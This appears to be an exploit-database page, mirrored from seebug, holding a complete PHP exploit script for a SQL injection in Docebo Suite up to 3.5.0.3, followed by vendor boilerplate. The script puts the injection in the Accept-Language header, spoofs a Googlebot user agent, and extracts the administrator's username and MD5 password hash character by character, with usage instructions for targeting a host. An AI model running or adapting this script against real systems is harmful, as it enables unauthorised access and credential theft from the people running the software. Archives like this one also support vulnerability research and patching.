Lucene search
K

Docebo <= 3.5.0.3 (lib.regset.php/non-blind) SQL Injection Exploit

🗓️ 14 Jan 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Docebo Suite <= 3.5.0.3 SQL injection exploit by rgod for Mysql >= 4.1, PHP 5.X (needed by Docebo) regardless of php.ini settings. Quickly coded to perform credentials disclosure

Code

                                                &lt;?php
print_r('
-----------------------------------------------------------------------------
Docebo&nbsp;Suite&nbsp;&lt;=&nbsp;3.5.0.3&nbsp;(lib.regset.php/non-blind)&nbsp;SQL&nbsp;injection&nbsp;exploit
by&nbsp;rgod
bug&nbsp;found&nbsp;by&nbsp;EgiX
working&nbsp;with&nbsp;Mysql&nbsp;&gt;=&nbsp;4.1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PHP&nbsp;5.X&nbsp;(needed&nbsp;by&nbsp;Docebo)&nbsp;regardless&nbsp;of&nbsp;php.ini&nbsp;settings
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;no&nbsp;benchmark()
quickly&nbsp;coded&nbsp;to&nbsp;perform&nbsp;credentials&nbsp;disclosure
-----------------------------------------------------------------------------
');

if&nbsp;($argc&lt;3)&nbsp;{
print_r('
-----------------------------------------------------------------------------
Usage:&nbsp;php&nbsp;'.$argv[0].'&nbsp;host&nbsp;path&nbsp;OPTIONS
host:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;(ip/hostname)
path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;path&nbsp;to&nbsp;docebo
Options:
&nbsp;-p[port]:&nbsp;&nbsp;&nbsp;&nbsp;specify&nbsp;a&nbsp;port&nbsp;other&nbsp;than&nbsp;80
&nbsp;-P[ip:port]:&nbsp;specify&nbsp;a&nbsp;proxy
Example:
php&nbsp;'.$argv[0].'&nbsp;localhost&nbsp;/docebo/&nbsp;-P1.1.1.1:80
php&nbsp;'.$argv[0].'&nbsp;localhost&nbsp;/docebo/&nbsp;-p81
-----------------------------------------------------------------------------
');
die;
}

error_reporting(7);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function&nbsp;quick_dump($string)
{
&nbsp;&nbsp;$result='';$exa='';$cont=0;
&nbsp;&nbsp;for&nbsp;($i=0;&nbsp;$i&lt;=strlen($string)-1;&nbsp;$i++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;if&nbsp;((ord($string[$i])&nbsp;&lt;=&nbsp;32&nbsp;)&nbsp;|&nbsp;(ord($string[$i])&nbsp;&gt;&nbsp;126&nbsp;))
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;.&quot;;}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;&quot;.$string[$i];}
&nbsp;&nbsp;&nbsp;if&nbsp;(strlen(dechex(ord($string[$i])))==2)
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;0&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;$cont++;if&nbsp;($cont==15)&nbsp;{$cont=0;&nbsp;$result.=&quot;\r\n&quot;;&nbsp;$exa.=&quot;\r\n&quot;;}
&nbsp;&nbsp;}
&nbsp;return&nbsp;$exa.&quot;\r\n&quot;.$result;
}

$proxy_regex&nbsp;=&nbsp;'(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function&nbsp;sendpacketii($packet)
{
&nbsp;&nbsp;global&nbsp;$proxy,&nbsp;$host,&nbsp;$port,&nbsp;$html,&nbsp;$proxy_regex;
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;'.$host.':'.$port;&nbsp;die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
	$c&nbsp;=&nbsp;preg_match($proxy_regex,$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$c)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'Not&nbsp;a&nbsp;valid&nbsp;proxy...';die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;$parts=explode(':',$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Connecting&nbsp;to&nbsp;&quot;.$parts[0].&quot;:&quot;.$parts[1].&quot;&nbsp;proxy...\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen($parts[0],$parts[1]);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;proxy...';die;
	}
&nbsp;&nbsp;}
&nbsp;&nbsp;fputs($ock,$packet);
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!feof($ock))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fgets($ock);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((!feof($ock))&nbsp;or&nbsp;(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fread($ock,1);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&quot;&quot;;
for&nbsp;($i=3;&nbsp;$i&lt;$argc;&nbsp;$i++){
$temp=$argv[$i][0].$argv[$i][1];
if&nbsp;(($temp&lt;&gt;&quot;-p&quot;)&nbsp;and&nbsp;($temp&lt;&gt;&quot;-P&quot;))&nbsp;{$cmd.=&quot;&nbsp;&quot;.$argv[$i];}
if&nbsp;($temp==&quot;-p&quot;)
{
&nbsp;&nbsp;$port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if&nbsp;($temp==&quot;-P&quot;)
{
&nbsp;&nbsp;$proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
}
if&nbsp;(($path[0]&lt;&gt;'/')&nbsp;or&nbsp;($path[strlen($path)-1]&lt;&gt;'/'))&nbsp;{echo&nbsp;'Error...&nbsp;check&nbsp;the&nbsp;path!';&nbsp;die;}
if&nbsp;($proxy=='')&nbsp;{$p=$path;}&nbsp;else&nbsp;{$p='http://'.$host.':'.$port.$path;}

//docebo&nbsp;changes&nbsp;the&nbsp;date&nbsp;separator&nbsp;according&nbsp;to&nbsp;the&nbsp;header&nbsp;
//es.:&nbsp;en&nbsp;-&gt;&nbsp;/
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;it&nbsp;-&gt;&nbsp;-
//so&nbsp;this&nbsp;is&nbsp;not&nbsp;a&nbsp;blind&nbsp;one,&nbsp;you&nbsp;can&nbsp;ask&nbsp;true-false&nbsp;questions&nbsp;and&nbsp;see
//the&nbsp;separator

$j=1;$admin=&quot;&quot;;
while&nbsp;(!strstr($admin,chr(0)))
{
for&nbsp;($i=0;&nbsp;$i&lt;=255;&nbsp;$i++)
{
$sql=&quot;en%'&nbsp;AND&nbsp;ASCII(SUBSTR((SELECT&nbsp;userid&nbsp;FROM&nbsp;core_user&nbsp;WHERE&nbsp;idst=1011)&nbsp;FROM&nbsp;$j&nbsp;FOR&nbsp;1))=$i/*&quot;;
echo&nbsp;&quot;query&nbsp;-&gt;&nbsp;&quot;.$sql.&quot;\n\n&quot;;
$packet&nbsp;=&quot;GET&nbsp;&quot;.$p.&quot;doceboCms/&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;User-Agent:&nbsp;Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Accept:&nbsp;text/plain\r\n&quot;;
$packet.=&quot;Accept-Language:&nbsp;$sql\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
sendpacketii($packet);
//2008&nbsp;is&nbsp;the&nbsp;actual&nbsp;year,&nbsp;change&nbsp;it&nbsp;if&nbsp;you&nbsp;need
if&nbsp;(!eregi('-2008',$html))&nbsp;{$admin.=chr($i);echo&nbsp;&quot;admin&nbsp;-&gt;&nbsp;&quot;.$admin.&quot;[???]\r\n&quot;;sleep(2);break;}
if&nbsp;($i==255)&nbsp;{die(&quot;Exploit&nbsp;failed...&quot;);}
}

$j++;
}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57));&nbsp;//numbers
$md5s=array_merge($md5s,range(97,102));//a-f&nbsp;letters
$j=1;$password=&quot;&quot;;
while&nbsp;(!strstr($password,chr(0)))
{
for&nbsp;($i=0;&nbsp;$i&lt;=255;&nbsp;$i++)
{
if&nbsp;(in_array($i,$md5s))
{
&nbsp;&nbsp;$sql=&quot;en%'&nbsp;AND&nbsp;ASCII(SUBSTR((SELECT&nbsp;pass&nbsp;FROM&nbsp;core_user&nbsp;WHERE&nbsp;idst=1011)&nbsp;FROM&nbsp;$j&nbsp;FOR&nbsp;1))=$i/*&quot;;
&nbsp;&nbsp;$packet&nbsp;=&quot;GET&nbsp;&quot;.$p.&quot;doceboCms/&nbsp;HTTP/1.0\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;User-Agent:&nbsp;Googlebot/2.1\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Accept:&nbsp;text/plain\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Accept-Language:&nbsp;$sql\r\n&quot;;
&nbsp;&nbsp;$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
&nbsp;&nbsp;sendpacketii($packet);
&nbsp;&nbsp;if&nbsp;(!eregi('-2008',$html))&nbsp;{$password.=chr($i);echo&nbsp;&quot;password&nbsp;-&gt;&nbsp;&quot;.$password.&quot;[???]\r\n&quot;;sleep(2);break;}
}
&nbsp;&nbsp;if&nbsp;($i==255)&nbsp;{die(&quot;Exploit&nbsp;failed...&quot;);}
&nbsp;&nbsp;}
&nbsp;&nbsp;$j++;
}

echo&nbsp;&quot;admin:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;.$admin.&quot;\n&quot;;//remove&nbsp;slash&nbsp;when&nbsp;you&nbsp;login
echo&nbsp;&quot;md5&nbsp;hash:&nbsp;&nbsp;&quot;.$pass.&quot;\n&quot;;
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1
15